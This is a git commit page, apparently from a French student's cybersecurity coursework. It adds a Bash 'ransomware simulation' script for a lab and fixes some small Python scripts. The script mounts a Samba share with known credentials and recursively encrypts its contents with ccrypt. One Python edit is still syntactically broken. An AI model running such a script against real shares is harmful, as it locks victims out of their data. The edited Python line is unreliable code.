Ajout des fichiers de la séance de Cyber sur une simulation de ransomware, sur partage Samba, et modification de scripts Python.
This commit is contained in:
parent
e113c968e8
commit
d0a6791cad
@ -24,7 +24,7 @@ else
|
||||
echo "Commit en cours..."
|
||||
sleep 1
|
||||
git commit
|
||||
git tag -l "v.0*" --sort="-v:refname"
|
||||
git tag -l "v.*" --sort="-v:refname"
|
||||
echo "Entrez la version du tag: (Le plus récent est en haut)"
|
||||
read tag
|
||||
git tag $tag
|
||||
|
2
bts_annee_2/cyber2/ransomware-simulation/README.md
Normal file
2
bts_annee_2/cyber2/ransomware-simulation/README.md
Normal file
@ -0,0 +1,2 @@
|
||||
Dossier avec le script utilisé pour simuler une attaque de ransomware sur un partage Samba accessible en écriture, avec un mot de passe et nom d'utilisateur connus.
|
||||
Les arguments passés après le nom du script sont utilisés plus tard et sont nécessaires.
|
34
bts_annee_2/cyber2/ransomware-simulation/smbcc.sh
Normal file
34
bts_annee_2/cyber2/ransomware-simulation/smbcc.sh
Normal file
@ -0,0 +1,34 @@
|
||||
#!/bin/bash
|
||||
# déclaration des variables
|
||||
chemin=$1
|
||||
cred=$2
|
||||
action=$3
|
||||
ficcle=$4
|
||||
|
||||
# récup du mot de passe et nom d'utilisateur
|
||||
user=$(echo $cred| cut -d "/" -f1)
|
||||
pass=$(echo $cred| cut -d "/" -f2)
|
||||
|
||||
# créa du répertoire et on monte dessus
|
||||
[[ -e /mnt/samba ]] || mkdir /mnt/samba
|
||||
mount.cifs -o "username=$user,password=$pass" "//${chemin}" /mnt/samba
|
||||
|
||||
# vérification d'erreurs
|
||||
if [[ $? != 0 ]] ; then
|
||||
rmdir /mnt/samba
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# la commande ccrypt
|
||||
ccrypt "$action" -r -k $ficcle /mnt/samba
|
||||
|
||||
# vérification d'erreurs
|
||||
if [[ $? != 0 ]] ; then
|
||||
echo "ccrypt échoué, revérifie le script."
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# nettoyage et sortie, code 0
|
||||
umount /mnt/samba
|
||||
rmdir /mnt/samba
|
||||
exit 0
|
@ -21,6 +21,6 @@ def main(filename):
|
||||
print(f"Erreur lors de la lecture du fichier {filename}: {e}")
|
||||
if __name__ == "__main__":
|
||||
if len(sys.argv) != 2:
|
||||
print("Usage: python creatusr.py <nom_du_fichier>")
|
||||
print("Usage: python3 createusers.py <nom_du_fichier>")
|
||||
else:
|
||||
main(sys.argv[1])
|
||||
|
@ -14,5 +14,5 @@ for mot in mots:
|
||||
# Afficher les mots et leurs occurrences
|
||||
print("Occurrences des mots :")
|
||||
for mot, count in occurrences.items():
|
||||
print(f"{mot} : {count}"
|
||||
print(f"{mot} : {count})"
|
||||
|
||||
|
Loading…
x
Reference in New Issue
Block a user